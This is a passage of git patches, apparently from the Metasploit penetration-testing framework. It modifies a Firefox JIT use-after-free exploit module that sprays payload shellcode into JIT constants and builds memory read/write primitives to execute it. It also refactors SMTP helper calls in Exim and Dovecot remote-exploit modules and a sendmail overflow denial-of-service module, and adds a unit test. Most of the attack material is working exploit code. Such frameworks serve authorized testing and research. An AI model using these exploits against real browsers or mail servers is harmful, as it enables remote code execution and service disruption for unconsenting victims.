print_status("[*] #{request.body}") + print_status(request.body) send_response(cli, '') return end print_status("Sending #{request.uri} to #{request['User-Agent']}") - shellcode = payload.encoded + + shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.raw + if (shellcode.length % 8 > 0) + shellcode += "\x00" * (8 - shellcode.length % 8) + end + shellcode_js = '' + for chunk in 0..(shellcode.length / 8) -1 + label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr + shellcode_chunk = shellcode[chunk*8..(chunk+1)*8] + shellcode_js += label + ' = ' + shellcode_chunk.unpack("E").first.to_s + "\n" + end jscript = <<~JS @@ -76,9 +86,7 @@ function jitme(cons, interesting, i) { new cons(); // Trigger the vulnerability - Reallocates the object slots // Allocate a large array on top of this previous slots location. - let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; - //11,12,13,14,15,16,17,18,19,20,21, ... ]; // Goes on to 489 to be close to the number of properties ‘cons’ has - + let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has // Avoid Elements Copy-On-Write by pushing a value target.push(i); @@ -239,18 +247,7 @@ function addrof(arg, o) { // shellcode - Constant values which hold our shellcode to pop xcalc. function shellcode(){ - find_me = 5.40900888e-315; // 0x41414141 in memory - A = -6.828527034422786e-229; // 0x9090909090909090 - B = 8.568532312320605e+170; - C = 1.4813365150669252e+248; - D = -6.032447120847604e-264; - E = -6.0391189260385385e-264; - F = 1.0842822352493598e-25; - G = 9.241363425014362e+44; - H = 2.2104256869204514e+40; - I = 2.4929675059396527e+40; - J = 3.2459699498717e-310; - K = 1.637926e-318; +#{shellcode_js} } // helper functions @@ -305,16 +302,16 @@ function main() { } if(evil == 0) { - console.log("[-] Failed to get the corrupted array"); + print("[-] Failed to get the corrupted array"); return; } - console.log("[+] got the corrupted array " + evil.length); + print("[+] got the corrupted array " + evil.length); TOTAL=arr.length; arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480); old_rareargdat_ptr = evil[511]; - console.log("[+] Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16)); + print("[+] Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16)); iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value counter = 0; // Used to prevent a while(true) situation @@ -335,7 +332,7 @@ function main() { if((ad_location + 8n) == ptr_in_argdat) break; } else { if (output != 0 && output != 8) { - //console.log(output.toString(16)); + //print(output.toString(16)); } } @@ -347,11 +344,11 @@ function main() { } if(counter == 0x200) { - console.log("[-] Failed to get AD location"); + print("[-] Failed to get AD location"); return; } - console.log("[+] AD location: " + ad_location.toString(16)); + print("[+] AD location: " + ad_location.toString(16)); // The target Uint32Array - A large size value to: // - Help find the object (Not many 0x00101337 values nearby!) @@ -377,7 +374,7 @@ function main() { } if(counter == 0x5000) { - console.log("[-] Failed to find the Uint32Array"); + print("[-] Failed to find the Uint32Array"); return; } @@ -386,7 +383,7 @@ function main() { // Get the Array Buffer backing store arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n)); - console.log("[+] AB Location: " + arr_buf_loc.toString(16)); + print("[+] AB Location: " + arr_buf_loc.toString(16)); // Create a fake ArrayBuffer through cloning iterator = arr_buf_addr; @@ -412,15 +409,15 @@ function main() { // Get the address of the shellcode function object shellcode_addr = addrof(arg, shellcode); - console.log("[+] Function is at: " + shellcode_addr.toString(16)); + print("[+] Function is at: " + shellcode_addr.toString(16)); // Get the jitInfo pointer in the JSFunction object jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_ - console.log("[+] jitinfo: " + jitinfo.toString(16)); + print("[+] jitinfo: " + jitinfo.toString(16)); // We can then fetch the RX region from here rx_region = weak_read64(arg, bigint_to_dbl(jitinfo)); - console.log("[+] RX Region: " + rx_region.toString(16)); + print("[+] RX Region: " + rx_region.toString(16)); iterator = rx_region; // Start from the RX region found = false @@ -435,18 +432,18 @@ function main() { iterator = iterator + 8n; } if(!found) { - console.log("[-] Failed to find the JIT start"); + print("[-] Failed to find the JIT start"); return; } // We now have a pointer to the start of the shellcode shellcode_location = iterator; - console.log("[+] Shellcode start: " + shellcode_location.toString(16)); + print("[+] Shellcode start: " + shellcode_location.toString(16)); // And can now overwrite the previous jitInfo pointer with our shellcode pointer write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location)); - console.log("[*] Triggering...") + print("[*] Triggering...") shellcode(); // Triggering our shellcode is as simple as calling the function again. } From af3fa098960affda84ada4441dda7b47089cb31f Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Mon, 14 Feb 2022 09:01:05 -0600 Subject: [PATCH 026/110] refactor smtp delivery to support continuation When dealing with SMTP servers the communication needs to flow a known protocol. To ensure the socket is in the correct state after a send and receive it needs to be read until a line return a response code followed by a `space` and additional data and `\r\n` or the response code immediately followed by `\r\n` is returned. --- lib/msf/core/exploit/remote/smtp_deliver.rb | 33 ++++++++++--------- .../auxiliary/dos/smtp/sendmail_prescan.rb | 6 ++-- modules/auxiliary/scanner/smtp/smtp_relay.rb | 10 +++--- .../exploits/linux/smtp/exim4_dovecot_exec.rb | 10 +++--- .../exploits/unix/smtp/exim4_string_format.rb | 16 ++++----- 5 files changed, 38 insertions(+), 37 deletions(-) diff --git a/lib/msf/core/exploit/remote/smtp_deliver.rb b/lib/msf/core/exploit/remote/smtp_deliver.rb index 52836e0d48..e5f1f49c17 100755 --- a/lib/msf/core/exploit/remote/smtp_deliver.rb +++ b/lib/msf/core/exploit/remote/smtp_deliver.rb @@ -80,7 +80,7 @@ module Exploit::Remote::SMTPDeliver if res =~ /STARTTLS/ print_status("Starting tls") - raw_send_recv("STARTTLS\r\n", nsock) + smtp_send_recv("STARTTLS\r\n", nsock) [:high, :medium, :default].each do |level| begin @@ -91,12 +91,12 @@ module Exploit::Remote::SMTPDeliver print_status 'Could not negotiate SSL, falling back to older ciphers' nsock.close nsock, res = connect_ehlo(global) - raw_send_recv("STARTTLS\r\n", nsock) + smtp_send_recv("STARTTLS\r\n", nsock) raise if level == :default end end - res = raw_send_recv("EHLO #{domain}\r\n", nsock) + res = smtp_send_recv("EHLO #{domain}\r\n", nsock) end unless datastore['PASSWORD'].empty? and datastore["USERNAME"].empty? @@ -106,7 +106,7 @@ module Exploit::Remote::SMTPDeliver # Have to double the username. SMTP auth is weird user = "#{datastore["USERNAME"]}\0" * 2 auth = Rex::Text.encode_base64("#{user}#{datastore["PASSWORD"]}") - res = raw_send_recv("AUTH PLAIN #{auth}\r\n", nsock) + res = smtp_send_recv("AUTH PLAIN #{auth}\r\n", nsock) unless res[0..2] == '235' print_error("Authentication failed, quitting") disconnect(nsock) @@ -119,9 +119,9 @@ module Exploit::Remote::SMTPDeliver if datastore["USERNAME"] and not datastore["USERNAME"].empty? user = Rex::Text.encode_base64("#{datastore["USERNAME"]}") auth = Rex::Text.encode_base64("#{datastore["PASSWORD"]}") - raw_send_recv("AUTH LOGIN\r\n",nsock) - raw_send_recv("#{user}\r\n",nsock) - res = raw_send_recv("#{auth}\r\n",nsock) + smtp_send_recv("AUTH LOGIN\r\n", nsock) + smtp_send_recv("#{user}\r\n", nsock) + res = smtp_send_recv("#{auth}\r\n", nsock) unless res[0..2] == '235' print_error("Authentication failed, quitting") disconnect(nsock) @@ -147,7 +147,7 @@ module Exploit::Remote::SMTPDeliver vprint_status("Connecting to SMTP server #{rhost}:#{rport}...") nsock = connect(global) - [nsock, raw_send_recv("EHLO #{domain}\r\n", nsock)] + [nsock, smtp_send_recv("EHLO #{domain}\r\n", nsock)] end def bad_address(address) @@ -181,10 +181,10 @@ module Exploit::Remote::SMTPDeliver nsock = connect_login(false) end - raw_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock) - res = raw_send_recv("RCPT TO: <#{mailto}>\r\n", nsock) + smtp_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock) + res = smtp_send_recv("RCPT TO: <#{mailto}>\r\n", nsock) if res && res[0..2] == '250' - resp = raw_send_recv("DATA\r\n", nsock) + resp = smtp_send_recv("DATA\r\n", nsock) # If the user supplied a Date field, use that, else use the current # DateTime in the proper RFC2822 format. @@ -211,7 +211,7 @@ module Exploit::Remote::SMTPDeliver full_msg << data # Escape leading dots in the mail messages so there are no false EOF full_msg.gsub!(/(?m)^\./, '..') - send_status = raw_send_recv("#{full_msg}\r\n.\r\n", nsock) + send_status = smtp_send_recv("#{full_msg}\r\n.\r\n", nsock) end else print_error "Server refused to send to <#{mailto}>" @@ -226,12 +226,14 @@ module Exploit::Remote::SMTPDeliver end def disconnect(nsock=self.sock) - raw_send_recv("QUIT\r\n", nsock) + smtp_send_recv("QUIT\r\n", nsock) super @connected = false end - def raw_send_recv(cmd, nsock=self.sock) + # Send and receive a single command using SMTP protocol + # allowing for response continuation + def smtp_send_recv(cmd, nsock=self.sock) return false if not nsock if cmd =~ /AUTH PLAIN/ # Don't print the user's plaintext password @@ -244,8 +246,7 @@ module Exploit::Remote::SMTPDeliver begin nsock.put(cmd) res = nsock.get_once - # read until `nil` is returned - while chunk = nsock.get_once + while !(res =~ /(^|\r\n)\d{3}( .*|)\r\n$/) && chunk = nsock.get_once res += chunk end rescue diff --git a/modules/auxiliary/dos/smtp/sendmail_prescan.rb b/modules/auxiliary/dos/smtp/sendmail_prescan.rb index fef094fe27..1496c2d575 100644 --- a/modules/auxiliary/dos/smtp/sendmail_prescan.rb +++ b/modules/auxiliary/dos/smtp/sendmail_prescan.rb @@ -38,10 +38,10 @@ class MetasploitModule < Msf::Auxiliary sploit = ("A" * 255 + ";") * 4 + "A" * 217 + ";" + "\x5c\xff" * 28 - raw_send_recv("EHLO X\r\n") - raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") + smtp_send_recv("EHLO X\r\n") + smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") print_status("Sending DoS packet.") - raw_send_recv("RCPT TO: #{sploit}\r\n") + smtp_send_recv("RCPT TO: #{sploit}\r\n") disconnect rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout diff --git a/modules/auxiliary/scanner/smtp/smtp_relay.rb b/modules/auxiliary/scanner/smtp/smtp_relay.rb index 287316508f..8db19c6fb5 100644 --- a/modules/auxiliary/scanner/smtp/smtp_relay.rb +++ b/modules/auxiliary/scanner/smtp/smtp_relay.rb @@ -82,19 +82,19 @@ class MetasploitModule < Msf::Auxiliary begin connect - res = raw_send_recv("EHLO X\r\n") + res = smtp_send_recv("EHLO X\r\n") vprint_status("#{res.inspect}") - res = raw_send_recv("#{mailfrom}\r\n") + res = smtp_send_recv("#{mailfrom}\r\n") vprint_status("#{res.inspect}") - res = raw_send_recv("#{mailto}\r\n") + res = smtp_send_recv("#{mailto}\r\n") vprint_status("#{res.inspect}") - res = raw_send_recv("DATA\r\n") + res = smtp_send_recv("DATA\r\n") vprint_status("#{res.inspect}") - res = raw_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n") + res = smtp_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n") vprint_status("#{res.inspect}") if res =~ /250/ diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb index caa972d00e..832904dd77 100644 --- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb +++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb @@ -149,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote end ehlo = datastore['EHLO'] - ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n") + ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n") ehlo_resp.each_line do |line| print_status("#{rhost}:#{rport} - EHLO: #{line.strip}") end @@ -165,7 +165,7 @@ class MetasploitModule < Msf::Exploit::Remote from << "@#{ehlo}" to = datastore['MAILTO'] - resp = raw_send_recv("MAIL FROM: #{from}\r\n") + resp = smtp_send_recv("MAIL FROM: #{from}\r\n") resp ||= 'no response' msg = "MAIL: #{resp.strip}" if not resp or resp[0,3] != '250' @@ -174,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - #{msg}") end - resp = raw_send_recv("RCPT TO: #{to}\r\n") + resp = smtp_send_recv("RCPT TO: #{to}\r\n") resp ||= 'no response' msg = "RCPT: #{resp.strip}" if not resp or resp[0,3] != '250' @@ -183,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - #{msg}") end - resp = raw_send_recv("DATA\r\n") + resp = smtp_send_recv("DATA\r\n") resp ||= 'no response' msg = "DATA: #{resp.strip}" if not resp or resp[0,3] != '354' @@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote message << "\r\n" message << ".\r\n" - resp = raw_send_recv(message) + resp = smtp_send_recv(message) msg = "DELIVER: #{resp.strip}" if not resp or resp[0,3] != '250' fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}") diff --git a/modules/exploits/unix/smtp/exim4_string_format.rb b/modules/exploits/unix/smtp/exim4_string_format.rb index 89081ecff9..8caf16f6c0 100644 --- a/modules/exploits/unix/smtp/exim4_string_format.rb +++ b/modules/exploits/unix/smtp/exim4_string_format.rb @@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable") end - ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n") + ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n") ehlo_resp.each_line do |line| print_status("EHLO: #{line.strip}") end @@ -145,7 +145,7 @@ class MetasploitModule < Msf::Exploit::Remote from = datastore['MAILFROM'] to = datastore['MAILTO'] - resp = raw_send_recv("MAIL FROM: #{from}\r\n") + resp = smtp_send_recv("MAIL FROM: #{from}\r\n") resp ||= 'no response' msg = "MAIL: #{resp.strip}" if not resp or resp[0,3] != '250' @@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status(msg) end - resp = raw_send_recv("RCPT TO: #{to}\r\n") + resp = smtp_send_recv("RCPT TO: #{to}\r\n") resp ||= 'no response' msg = "RCPT: #{resp.strip}" if not resp or resp[0,3] != '250' @@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status(msg) end - resp = raw_send_recv("DATA\r\n") + resp = smtp_send_recv("DATA\r\n") resp ||= 'no response' msg = "DATA: #{resp.strip}" if not resp or resp[0,3] != '354' @@ -251,21 +251,21 @@ class MetasploitModule < Msf::Exploit::Remote sock.put body print_status("Ending first message.") - buf = raw_send_recv("\r\n.\r\n") + buf = smtp_send_recv("\r\n.\r\n") # Should be: "552 Message size exceeds maximum permitted\r\n" print_status("Result: #{buf.inspect}") if buf second_result = "" print_status("Sending second message ...") - buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") + buf = smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") # Should be: "sh-x.x$ " !! if buf print_status("MAIL result: #{buf.inspect}") second_result << buf end - buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n") + buf = smtp_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n") # Should be: "sh: RCPT: command not found\n" if buf print_status("RCPT result: #{buf.inspect}") @@ -296,7 +296,7 @@ class MetasploitModule < Msf::Exploit::Remote if resp !~ /Summary of my perl/ print_status("Should have a shell now, sending payload...") - buf = raw_send_recv("\n" + payload.encoded + "\n\n") + buf = smtp_send_recv("\n" + payload.encoded + "\n\n") if buf if buf =~ /554 SMTP synchronization error/ print_error("This target may be patched: #{buf.strip}") From cb388b0b4c58c907b7769aa7b8c8808da9971d4c Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Mon, 14 Feb 2022 18:48:27 -0600 Subject: [PATCH 027/110] add SMTPDeliver spec * define smtp_send_recv expectations --- .../core/exploit/remote/smtp_delivery_spec.rb | 64 +++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 spec/lib/msf/core/exploit/remote/smtp_delivery_spec.rb diff --git a/spec/lib/msf/core/exploit/remote/smtp_delivery_spec.rb b/spec/lib/msf/core/exploit/remote/smtp_delivery_spec.rb new file mode 100644 index 0000000000..8ed5ece27f --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/smtp_delivery_spec.rb @@ -0,0 +1,64 @@ +RSpec.describe Msf::Exploit::Remote::SMTPDeliver do + + context "#smtp_send_recv" do + subject(:instance) { + mod = Msf::Exploit::Remote.allocate + mod.extend described_class + mod + } + + + let (:socket) { + double(Rex::Socket::Tcp) + } + let (:cmd) { + "EHLO" + } + let(:ehlo_resp1) { + "250-ip-10-140-50-23.us-west-1.compute.internal\r\n250-XXXA\r250-PIPELINING\r\n250-AUTH CRAM-MD5 LOGIN PLAIN\r\n" + } + let(:ehlo_resp2) { + "250-SIZE 512000\r\n250-VRFY\r\n250-ETRN\r\n250-ENHANCEDSTATUSCODES\r\n250-8BITMIME\r\n250-XXXXXXXB\r\n250-XXXC\r\n" + } + let(:ehlo_resp3) { + "250 DSN" + } + let(:ehlo_resp4) { + "\r\n" + } + + before { + allow(instance).to receive(:vprint_status) + allow(socket).to receive(:put) + allow(socket).to receive(:get_once).and_return(ehlo_resp1, ehlo_resp2, ehlo_resp3, ehlo_resp4) + } + + it "should read the socket for continuation messages" do + response = instance.smtp_send_recv(cmd, socket) + expect(response).to end_with(ehlo_resp3 + ehlo_resp4) + end + + context "when the server response is terse" do + let(:ehlo_resp3) { + "250" + } + + it "should support a final line with no space or extra data" do + response = instance.smtp_send_recv(cmd, socket) + expect(response).to end_with(ehlo_resp3 + ehlo_resp4) + end + end + + context "when invalid response are received" do + # a nil from `get_once` simulates a Timeout expired + let(:ehlo_resp4){ + nil + } + + it "should return the incomplete response when no data is left to read" do + response = instance.smtp_send_recv(cmd, socket) + expect(response).to end_with(ehlo_resp3) + end + end + end +end From 2405a040a88bed83e60d5852b85ae38688d21be1 Mon Sep 17 00:00:00 2001 From: Tim W Date: Tue, 15 Feb 2022 09:22:05 +0000 Subject: [PATCH 028/110] rubocop and msftidy --- .../browser/firefox_jit_use_after_free.rb | 778 +++++++++--------- 1 file changed, 389 insertions(+), 389 deletions(-) diff --git a/modules/exploits/linux/browser/firefox_jit_use_after_free.rb b/modules/exploits/linux/browser/firefox_jit_use_after_free.rb index dcdee2941a..22b5eb77e8 100644 --- a/modules/exploits/linux/browser/firefox_jit_use_after_free.rb +++ b/modules/exploits/linux/browser/firefox_jit_use_after_free.rb @@ -45,10 +45,14 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => [ ARCH_X64 ], 'Platform' => ['linux'], 'DefaultTarget' => 0, - 'Targets' => - [ + 'Targets' => [ [ 'Automatic', {}], ], + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Stability' => [CRASH_SAFE] + }, 'DisclosureDate' => '2020-11-18' ) ) @@ -57,399 +61,21 @@ class MetasploitModule < Msf::Exploit::Remote ]) end - def on_request_uri(cli, request) - if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} - print_status(request.body) - send_response(cli, '') - return - end - - print_status("Sending #{request.uri} to #{request['User-Agent']}") - - shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.raw + def create_js_shellcode + shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded if (shellcode.length % 8 > 0) - shellcode += "\x00" * (8 - shellcode.length % 8) + shellcode += "\x00" * (8 - shellcode.length % 8) end shellcode_js = '' - for chunk in 0..(shellcode.length / 8) -1 + for chunk in 0..(shellcode.length / 8) - 1 label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr - shellcode_chunk = shellcode[chunk*8..(chunk+1)*8] - shellcode_js += label + ' = ' + shellcode_chunk.unpack("E").first.to_s + "\n" + shellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8] + shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n" end + shellcode_js + end - jscript = <<~JS - -// Triggers the vulnerability -function jitme(cons, interesting, i) { - interesting.x1 = 10; // Make sure the MSlots is saved - - new cons(); // Trigger the vulnerability - Reallocates the object slots - - // Allocate a large array on top of this previous slots location. - let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 